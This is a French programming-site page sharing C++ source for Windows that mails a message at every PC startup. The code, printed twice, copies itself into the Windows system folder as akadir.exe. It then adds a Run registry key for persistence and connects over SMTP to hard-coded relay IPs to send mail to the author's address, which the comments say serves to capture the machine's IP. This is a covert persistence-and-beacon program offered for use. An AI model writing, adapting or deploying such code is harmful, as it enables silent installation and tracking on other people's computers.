Accueil > > > ENVOYER UN MAIL AU DEMARRAGE DU PC
ENVOYER UN MAIL AU DEMARRAGE DU PC
Information sur la source
Description
clef dans la base de registre copiage du soft dans c:\windows\system mail ya pas plus simple comme ecplication :p compile ss VC6.00
Source
- // ne pas oublier ws2_32.lib !!!!!!
-
-
-
- #include <stdlib.h>
- #include <windows.h>
- #include <iostream.h>
- #include <string.h>
- #include <conio.h>
- #include <Wininet.h>
- #include <time.h>
- #include <process.h>
- #include "stdafx.h"
- #include "stdio.h"
- #include <winsock2.h>
- #include<fstream.h>
-
- // ya des includes inutiles ou en double ss doutes :p
-
-
-
- void bdr()//bdr == base de registre
- {
- HKEY key; //nom de la clef
- char windobedir[81]; //chemin du soft
- char *progdir;
-
- GetWindowsDirectory(windobedir,50);//ou est le soft ?
- progdir = GetCommandLine();
- strcat(windobedir,"\\system\\akadir.exe");
- if(strcmp(progdir,windobedir) != 0)
- CopyFile(progdir,windobedir,FALSE);
- RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&key);
- RegSetValueEx(key,"[Belou]",0,REG_SZ,(LPBYTE) windobedir,strlen(windobedir));
- RegCloseKey(key);
- }
- void mail() // /!\ c'est un CLIENT
- {
- WSADATA WSAData;
- WSAStartup(MAKEWORD(2,0), &WSAData);
- SOCKET sock;
- SOCKADDR_IN sin;
- char ip1[15] = "62.39.122.34";//je met 4 adresses paske ifrance c leseul ki fasse du relaying
- char ip2[15] = "62.39.122.19";//et que j'ai po envie de me faire chier pour faire une recherche du FAI
- char ip3[15] = "62.39.122.21";
- char ip4[15] = "62.39.122.32";
- char ip5[15] = "62.39.122.33";
- char buffer[1024];
- ofstream log("protsock.log"); // fichier pour enregistrer les données reçues.
- sock = socket(AF_INET, SOCK_STREAM, 0);
- int i = 1 ;
- for (int o = 1; o < 6 ; o++)
- {
- switch (o)
- {
- case 1:
- sin.sin_addr.s_addr = inet_addr(ip1);//ifrance
- break;
- case 2:
- sin.sin_addr.s_addr = inet_addr(ip2);//ifrance
- break;
- case 3:
- sin.sin_addr.s_addr = inet_addr(ip3);//ifrance
- break;
- case 4:
- sin.sin_addr.s_addr = inet_addr(ip4);//ifrance
- break;
- case 5:
- sin.sin_addr.s_addr = inet_addr(ip5);//ifrance
- }
-
- sin.sin_family = AF_INET;
- sin.sin_port = htons(25);
- connect(sock, (SOCKADDR *)&sin, sizeof(sin)); // on se connecte sur le serv
- i = recv(sock, buffer, sizeof(buffer), 0); // le buffer récupère les données reçues.
- if (i != 0) // si le buffer ne reçoit pas des données.
- {
- send(sock,"Helo toto\n",strlen("Helo toto\n"),0);
- send(sock,"mail from:<biere_man@hotmail.com>\n",strlen("mail from:<biere_man@hotmail.com>\n"),0); //la j'ai mis MON adresse, alors change la si tu veux pas rin recevoir
- send(sock,"rcpt to:<biere_man@hotmail.com>\n",strlen("rcpt to:<biere_man@hotmail.com>\n"),0); //note que j'ai mis 2 fois mon adresse... tu peux mettre une autre,mais moi c pour recuperer l'ip ce truc
- send(sock,"data\n",strlen("data\n"),0);//bon la ca merde un peu en general .... mais je men fous j'ai l'ip et ce ce que je voulais
- send(sock,buffer,strlen(buffer),0);
- send(sock,"\n.\nquit\n",strlen("\n.\nquit\n"),0);
- }
- }
- closesocket(sock); // on ferme le socket.
- WSACleanup(); // on le nettoie
- }
-
// ne pas oublier ws2_32.lib !!!!!!
#include <stdlib.h>
#include <windows.h>
#include <iostream.h>
#include <string.h>
#include <conio.h>
#include <Wininet.h>
#include <time.h>
#include <process.h>
#include "stdafx.h"
#include "stdio.h"
#include <winsock2.h>
#include<fstream.h>
// ya des includes inutiles ou en double ss doutes :p
void bdr()//bdr == base de registre
{
HKEY key; //nom de la clef
char windobedir[81]; //chemin du soft
char *progdir;
GetWindowsDirectory(windobedir,50);//ou est le soft ?
progdir = GetCommandLine();
strcat(windobedir,"\\system\\akadir.exe");
if(strcmp(progdir,windobedir) != 0)
CopyFile(progdir,windobedir,FALSE);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_ALL_ACCESS,&key);
RegSetValueEx(key,"[Belou]",0,REG_SZ,(LPBYTE) windobedir,strlen(windobedir));
RegCloseKey(key);
}
void mail() // /!\ c'est un CLIENT
{
WSADATA WSAData;
WSAStartup(MAKEWORD(2,0), &WSAData);
SOCKET sock;
SOCKADDR_IN sin;
char ip1[15] = "62.39.122.34";//je met 4 adresses paske ifrance c leseul ki fasse du relaying
char ip2[15] = "62.39.122.19";//et que j'ai po envie de me faire chier pour faire une recherche du FAI
char ip3[15] = "62.39.122.21";
char ip4[15] = "62.39.122.32";
char ip5[15] = "62.39.122.33";
char buffer[1024];
ofstream log("protsock.log"); // fichier pour enregistrer les données reçues.
sock = socket(AF_INET, SOCK_STREAM, 0);
int i = 1 ;
for (int o = 1; o < 6 ; o++)
{
switch (o)
{
case 1:
sin.sin_addr.s_addr = inet_addr(ip1);//ifrance
break;
case 2:
sin.sin_addr.s_addr = inet_addr(ip2);//ifrance
break;
case 3:
sin.sin_addr.s_addr = inet_addr(ip3);//ifrance
break;
case 4:
sin.sin_addr.s_addr = inet_addr(ip4);//ifrance
break;
case 5:
sin.sin_addr.s_addr = inet_addr(ip5);//ifrance
}
sin.sin_family = AF_INET;
sin.sin_port = htons(25);
connect(sock, (SOCKADDR *)&sin, sizeof(sin)); // on se connecte sur le serv
i = recv(sock, buffer, sizeof(buffer), 0); // le buffer récupère les données reçues.
if (i != 0) // si le buffer ne reçoit pas des données.
{
send(sock,"Helo toto\n",strlen("Helo toto\n"),0);
send(sock,"mail from:<biere_man@hotmail.com>\n",strlen("mail from:<biere_man@hotmail.com>\n"),0); //la j'ai mis MON adresse, alors change la si tu veux pas rin recevoir
send(sock,"rcpt to:<biere_man@hotmail.com>\n",strlen("rcpt to:<biere_man@hotmail.com>\n"),0); //note que j'ai mis 2 fois mon adresse... tu peux mettre une autre,mais moi c pour recuperer l'ip ce truc
send(sock,"data\n",strlen("data\n"),0);//bon la ca merde un peu en general .... mais je men fous j'ai l'ip et ce ce que je voulais
send(sock,buffer,strlen(buffer),0);
send(sock,"\n.\nquit\n",strlen("\n.\nquit\n"),0);
}
}
closesocket(sock); // on ferme le socket.
WSACleanup(); // on le nettoie
}
Conclusion
on peut penser qu'une V2 viendra..... bugs connu (attention .....) : n'envoie pas data !!!! (lie au fait que g mis deux fois la mm adresse ....) et pîs surtout ca c pas un bug, mais une fois que tu la execute, tu retrouve akadir.exe dans windows/system moi ca me derange po, mais bon, un mail de toi a chake demarrage, moi ca me gonlerait ...
Sources du même auteur
Sources de la même categorie
Commentaires et avis
Discussions en rapport avec ce code source dans le forum
Mail communication internet [ par Mr.X ]
tous dabord bonjour a tousJe voudrais savoir s'il étais possible (je l'espere et le pense) d'envoyer un mail depuis un programme (si un commande toute
Net send sous linux [ par jean84 ]
Salut a tous ! Je voulais juste pose une question a propos de net send. Je voudrais pouvoir envoyer un net send via ma machine (suse linux) vers un p
Mail avec pièce jointe [ par victorcoasne ]
Bonjour, Je voudrais savoir comment envoyer un fichier par mail en passant par le client messagerie par défaut car je n'ai pas envie de faire co
Envoyer un mail par smtp (Dev-Cpp) [ par zeeeleyou ]
Bonjour,je cherche des tuto ou n'importe quoi pouvant m'aider pour développer en envoi de mail par smtp sur Dev-Cpp.Merci !
envoyer un mail en VC++ par SMTP [ par amizak ]
Bonjour tt le monde.je developpe un eapplication pour l'envoie des email avec VC++ en utilisant le protocole smtp.j'utilise ma machine en tant que ser
envoyer un mail sans ouvrir OE ou autre ??? [ par gege1024 ]
c'est peut etre hors sujet , mais il y a peu j'ai vu une serie de commande DOS pour envoyer un mail sans ouverture d'outlook.....et je voudrais faire
envoyer un mail en c++ [ par dacor ]
Bonjour,comment je pourrais envoyer un mail (avec un sujet, corp) à partir de mon pg c++ sous linux.merci pour votre aide
mail [ par anonyme_man_in_this_world ]
salut !!il y en a plein de codes qui traitent ce sujet mais le probleme c'ets qu'il se basent sur lles fonctions Win32 .ce que je veux faire moi
Problème Envoyer Mail ! : - ( ... [ par lol55 ]
Bonjour,Je cherche un code qui montre comment envoyer un mail (sans pièce jointe), j'ai regardé toutes l'après-midi tout les codes du site mais à chaq
SMTP : Problème avec l'envoi de pièces jointes [ par Sunsawe ]
Salut à tous,Alors depuis un moment je tente de créer un petit client smtp en c++ et maintenant je m'attaque à l'envoi de pièce jointe.Biensur celà ne
|
Derniers Blogs
IMAGINE CUP 2012, MAKE A SIGN EN FINALEIMAGINE CUP 2012, MAKE A SIGN EN FINALE par junarnoalg
Voilà qui est fait, la nouvelle est officielle ! L'équipe belge "Make a Sign" va au pays des kangourous défendre son projet dans la catégorie Software Design. http://www.imaginecup.com/CompetitionsContent/Competition/WorldwideFinalists.aspx V...
Cliquez pour lire la suite de l'article par junarnoalg KINECT 1.5 IS OUT !KINECT 1.5 IS OUT ! par Vko
La version 1.5 du Kinect For Microsoft vient tout juste de sortir ! Plein de nouveautés: Tracking de squelette en Near Mode Détection en position assise Détection faciale avec un SDK dédié Documentation et des guideline (enfin) Un out...
Cliquez pour lire la suite de l'article par Vko LES ACTUALITéS DE LA SEMAINE SUR C2I.FR (14 MAI - 20 MAI) LES ACTUALITéS DE LA SEMAINE SUR C2I.FR (14 MAI - 20 MAI) par richardc
Mise à jour des Web API du 14 Mai
Réservez dès maintenant votre journée du 20 juin pour le Windows Azure Dev Camp 2012 à Paris
Mise à jour de Team Foundation Service
MechCommander 2 sur Windows 8
Entity Framework 5 Release Candidate e...
Cliquez pour lire la suite de l'article par richardc REACTIVE EXTENSIONS : CONSOMMER DES SERVICES AVEC RX PARTIE 3, LES PIèGES à éVITERREACTIVE EXTENSIONS : CONSOMMER DES SERVICES AVEC RX PARTIE 3, LES PIèGES à éVITER par Groc
Une mauvaise utilisation de rx lors de l'écriture d'une couche d'accès à des services peut conduire à des cas embarassants avec des erreurs mal gérées, des appels qui ne partent lorsqu'ils le devraient, et même des résultats incorrects . le tout nuis...
Cliquez pour lire la suite de l'article par Groc SHAREPOINT BLOG SITE, PROBLèME D'ARCHIVESSHAREPOINT BLOG SITE, PROBLèME D'ARCHIVES par junarnoalg
Dernièrement, nous avons migré le site
myTIC
vers un nouveau serveur SharePoint 2010. Dans les contenus que nous vouloins récupérer, nous avions un certain nombre de blogs.
Nous avons utilisé les commandes Power...
Cliquez pour lire la suite de l'article par junarnoalg
Forum
MATRICE TEMPLATEMATRICE TEMPLATE par hjr2610
Cliquez pour lire la suite par hjr2610 RE : SAC A DOS RE : SAC A DOS par hadjkaddour
Cliquez pour lire la suite par hadjkaddour
Logiciels
sDEVIS-FACTURES vlPRO (8.1.0.3)SDEVIS-FACTURES VLPRO (8.1.0.3)sDEVIS-FACTURES vlPRO a été mis au point pour les particuliers, créateurs, entrepreneurs, artisa... Cliquez pour télécharger sDEVIS-FACTURES vlPRO 974 Application Server (12.2.4.6)974 APPLICATION SERVER (12.2.4.6)Développez de puissantes applications dans un environnement de 'cloud computing', clusterisé, séc... Cliquez pour télécharger 974 Application Server vPicture (1.4.2.1)VPICTURE (1.4.2.1)Avec vPicture, hébergez vos images facilement et rapidement.
vPicture est un utilitaire simple, ... Cliquez pour télécharger vPicture Easy-Planning (2.2.1.6)EASY-PLANNING (2.2.1.6)Easy-Planning permet de créer des plannings sous la représentation de diagrammes et est adapté au... Cliquez pour télécharger Easy-Planning COM-BACKUP (2.0)COM-BACKUP (2.0)
COM-BACKUP est un logiciel de sauvegarde qui permet de planifier les sauvegardes de vos dossiers ...
Cliquez pour télécharger COM-BACKUP
|